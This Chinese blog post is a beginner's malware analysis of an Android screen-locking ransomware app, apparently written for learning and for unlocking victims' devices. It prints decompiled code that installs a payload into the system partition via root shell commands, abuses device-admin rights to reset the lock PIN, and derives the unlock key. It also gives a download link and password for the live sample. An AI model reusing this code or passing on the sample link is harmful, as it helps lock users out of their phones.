Android学习第七天---记录一次锁机软件的破解

2023-11-05 07:59

本文主要是介绍Android学习第七天---记录一次锁机软件的破解,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

自己学习别人的帖子实战一下试试吧 以后也能装逼 反正这两天心情不好不是很想学习

原贴

首先安装一下 app

提示需要超级管理员权限 一看就不是好东西 给呗

然后手机就从新启动了

然后就出现了 这个zz的界面 不停的播放音乐

这里写图片描述

上面标记的两个地方一个事输入的一个是按钮(二维码)基本上很多app都是这个套路 如果找不到可以到Android studio里面看一下框架就知道了

现在分析一下这个软件 拖到jeb里面

<activity android:label="@string/app_name" android:name=".c"><intent-filter><action android:name="android.intent.action.MAIN" /><category android:name="android.intent.category.LAUNCHER" /></intent-filter></activity>

去到dex里面找 c (smile)我看不懂 邮件 Decompile查看java代码

看看OnCreate方法,这个方法就是在窗口被打开的时候调用的:

 @Override protected void onCreate(Bundle arg10) {c v0 = this;LogCatBroadcaster.start(v0);super.onCreate(arg10);v0.setContentView(2130903040);v0.b = v0.findViewById(2131099651);v0.t = v0.findViewById(0);v0.b.setOnClickListener(new ButtonClickListener(v0));c v4 = v0;try {v4.d(new StringBuffer().append(v0.path).append("/zihao.l").toString());}catch(IOException v4_1) {}}

主要看这两句

v0.b.setOnClickListener(new ButtonClickListener(v0));v4.d(new StringBuffer().append(v0.path).append("/zihao.l").toString());

第一句是给那个”点击打开悬浮窗”的按钮设置按钮事件 对应的是onClick方法 看一下

 @Override public void onClick(View arg8) {new b().rootShell();a.deleteFile(c.this.file);}

可以看到 我是60分java乱说 b新建了一个函数rootshell 我们到b.smile中看看去(大致可以才想到是获取root权限的)

void rootShell() {b.execCommand(new String[]{"mount -o rw,remount /system", "mount -o rw,remount /system/app", "cp /sdcard/zihao.l /system/app/", "chmod 777 /system/app/zihao.l", "mv /system/app/zihao.l /system/app/zihao.apk", "chmod 644 /system/app/zihao.apk", "reboot"}, true);}

可以看到大概就是把/sdcard/zihao.l这个文件当成一个APK安装到系统分区里,最后reboot就是重启,当然,他在期间申请了所需要的权限;

这个zihao.l是如何来的 回到c.smile里面 可以看到

 private void d(String arg13) throws IOException {FileOutputStream v3 = new FileOutputStream(arg13);InputStream v2 = this.getAssets().open("ijm-x86.so");byte[] v4 = new byte[1024];int v5;for(v5 = v2.read(v4); v5 > 0; v5 = v2.read(v4)) {v3.write(v4, 0, v5);}v3.flush();v2.close();v3.close();}

再看看这个 onCreate里面的

try {v4.d(new StringBuffer().append(v0.path).append("/zihao.l").toString());}

这几句就是无限循环的读,读到没得读为止,边读边写,读谁?读自身存储路劲下的ijm-x86.so,然后写出到arg13这个路径,就是在前面传进来的那个路径:
v0.path在构造器中已经声明了是取SD卡根路径;
到这,第一层就结束了,手机开始重启,重启之后就会听到一首十分动听的歌曲

那我们来到第二层 将ijm-x86.so改为 ijm-x86.apk拖进jeb里面分析一下

还是先看MainFast.xml

<activity android:label="@string/app_name" android:name=".M"><intent-filter><action android:name="android.intent.action.MAIN" /><category android:name="android.intent.category.LAUNCHER" /></intent-filter></activity>

” android:name=”.M” 嗯..先看看m.smile

 private void activiteDevice() {Class v8;M v0 = this;Intent v1 = new Intent("android.app.action.ADD_DEVICE_ADMIN");ComponentName v5 = null;ComponentName v6 = null;M v7 = v0;try {v8 = Class.forName("com.h.MyAdmin");}catch(ClassNotFoundException v5_1) {throw new NoClassDefFoundError(v5_1.getMessage());}super(((Context)v7), v8);v1.putExtra("android.app.extra.DEVICE_ADMIN", ((Parcelable)v5));v0.startActivityForResult(v1, 0);}@Override public void onCreate(Bundle arg6) {LogCatBroadcaster.start(this);super.onCreate(arg6);this.activiteDevice();}

意思就是启动MyAdmin这个receiver 我们进入MyAdmin看看

 @Override public CharSequence onDisableRequested(Context arg10, Intent arg11) {String v4 = Integer.toString(1997);this.getManager(arg10).lockNow();this.getManager(arg10).resetPassword(v4, 0);return super.onDisableRequested(arg10, arg11);}

主要就是把锁屏的 pin 码设置为 1997,然后又启动了 s 这个服务,那来看看这个 s 把;
好乱啊.. 全部无视直接看 onCreate 和 onStart

@Override public void onCreate() {s v0 = this;super.onCreate();v0.pass = ((long)(Math.random() * (((double)155))));v0.passw = new Long((v0.pass + (((long)7176))) * (((long)7)));v0.des = new DU("flower");s v3 = v0;try {v3.des = new DU(v0.des.decrypt("c29fe56fa59ab0db"));}catch(Exception v3_1) {}v0.share = v0.getSharedPreferences("Flowers", 0);v0.editor = v0.share.edit();if(v0.share.getLong("m", ((long)0)) == (((long)0))) {v0.editor.putLong("m", v0.pass);v0.editor.commit();v3 = v0;try {v3.editor.putString("passw", v0.des.encrypt(new StringBuffer().append("").append(v0.passw).toString()));v0.editor.commit();}catch(Exception v3_1) {}if(v0.is(v0.getApplicationContext())) {v0.ppss = new StringBuffer().append(v0.share.getLong("m", ((long)8))).append("").toString();v3 = v0;s v4 = v0;try {v3.password = v4.des.decrypt(v0.share.getString("passw", ""));}catch(Exception v3_1) {}new 100000000(v0).start();return;}v3 = v0;try {v3.editor.putLong("m", Long.parseLong(v0.des.decrypt("5a15e58cc8db8d1c700ecb6bb7b627a9")));v0.editor.commit();v0.editor.putString("passw", "5a15e58cc8db8d1c700ecb6bb7b627a9");v0.editor.commit();}catch(Exception v3_1) {}}}

这里一看就是加解密的 请教大土豆师傅 师傅叫我smali插桩 这个是要学习学习 肯定有用 开始跑题 算了 就先这样把这个分析完吧 下一篇学习smali插桩

这里可一看到是用 c29fe56fa59ab0db解出来的值作为密钥

然后再解密

秘钥就是 “ (序列号++7176)*7 ”

恶意软件下载地址

样品:链接: http://pan.baidu.com/s/1kVdav8F 密码: 8wtz

成功解锁

删除的方法 adb 连接 进去删除 有些可以直接这样删除 就不用那么麻烦了

这篇关于Android学习第七天---记录一次锁机软件的破解的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/348470

相关文章

Android kotlin中 Channel 和 Flow 的区别和选择使用场景分析

《Androidkotlin中Channel和Flow的区别和选择使用场景分析》Kotlin协程中,Flow是冷数据流,按需触发,适合响应式数据处理;Channel是热数据流,持续发送,支持... 目录一、基本概念界定FlowChannel二、核心特性对比数据生产触发条件生产与消费的关系背压处理机制生命周期

Android ClassLoader加载机制详解

《AndroidClassLoader加载机制详解》Android的ClassLoader负责加载.dex文件,基于双亲委派模型,支持热修复和插件化,需注意类冲突、内存泄漏和兼容性问题,本文给大家介... 目录一、ClassLoader概述1.1 类加载的基本概念1.2 android与Java Class

在Spring Boot中集成RabbitMQ的实战记录

《在SpringBoot中集成RabbitMQ的实战记录》本文介绍SpringBoot集成RabbitMQ的步骤,涵盖配置连接、消息发送与接收,并对比两种定义Exchange与队列的方式:手动声明(... 目录前言准备工作1. 安装 RabbitMQ2. 消息发送者(Producer)配置1. 创建 Spr

Android DataBinding 与 MVVM使用详解

《AndroidDataBinding与MVVM使用详解》本文介绍AndroidDataBinding库,其通过绑定UI组件与数据源实现自动更新,支持双向绑定和逻辑运算,减少模板代码,结合MV... 目录一、DataBinding 核心概念二、配置与基础使用1. 启用 DataBinding 2. 基础布局

Android ViewBinding使用流程

《AndroidViewBinding使用流程》AndroidViewBinding是Jetpack组件,替代findViewById,提供类型安全、空安全和编译时检查,代码简洁且性能优化,相比Da... 目录一、核心概念二、ViewBinding优点三、使用流程1. 启用 ViewBinding (模块级

k8s上运行的mysql、mariadb数据库的备份记录(支持x86和arm两种架构)

《k8s上运行的mysql、mariadb数据库的备份记录(支持x86和arm两种架构)》本文记录在K8s上运行的MySQL/MariaDB备份方案,通过工具容器执行mysqldump,结合定时任务实... 目录前言一、获取需要备份的数据库的信息二、备份步骤1.准备工作(X86)1.准备工作(arm)2.手

SpringBoot3应用中集成和使用Spring Retry的实践记录

《SpringBoot3应用中集成和使用SpringRetry的实践记录》SpringRetry为SpringBoot3提供重试机制,支持注解和编程式两种方式,可配置重试策略与监听器,适用于临时性故... 目录1. 简介2. 环境准备3. 使用方式3.1 注解方式 基础使用自定义重试策略失败恢复机制注意事项

Python UV安装、升级、卸载详细步骤记录

《PythonUV安装、升级、卸载详细步骤记录》:本文主要介绍PythonUV安装、升级、卸载的详细步骤,uv是Astral推出的下一代Python包与项目管理器,主打单一可执行文件、极致性能... 目录安装检查升级设置自动补全卸载UV 命令总结 官方文档详见:https://docs.astral.sh/

统一返回JsonResult踩坑的记录

《统一返回JsonResult踩坑的记录》:本文主要介绍统一返回JsonResult踩坑的记录,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录统一返回jsonResult踩坑定义了一个统一返回类在使用时,JsonResult没有get/set方法时响应总结统一返回

Go学习记录之runtime包深入解析

《Go学习记录之runtime包深入解析》Go语言runtime包管理运行时环境,涵盖goroutine调度、内存分配、垃圾回收、类型信息等核心功能,:本文主要介绍Go学习记录之runtime包的... 目录前言:一、runtime包内容学习1、作用:① Goroutine和并发控制:② 垃圾回收:③ 栈和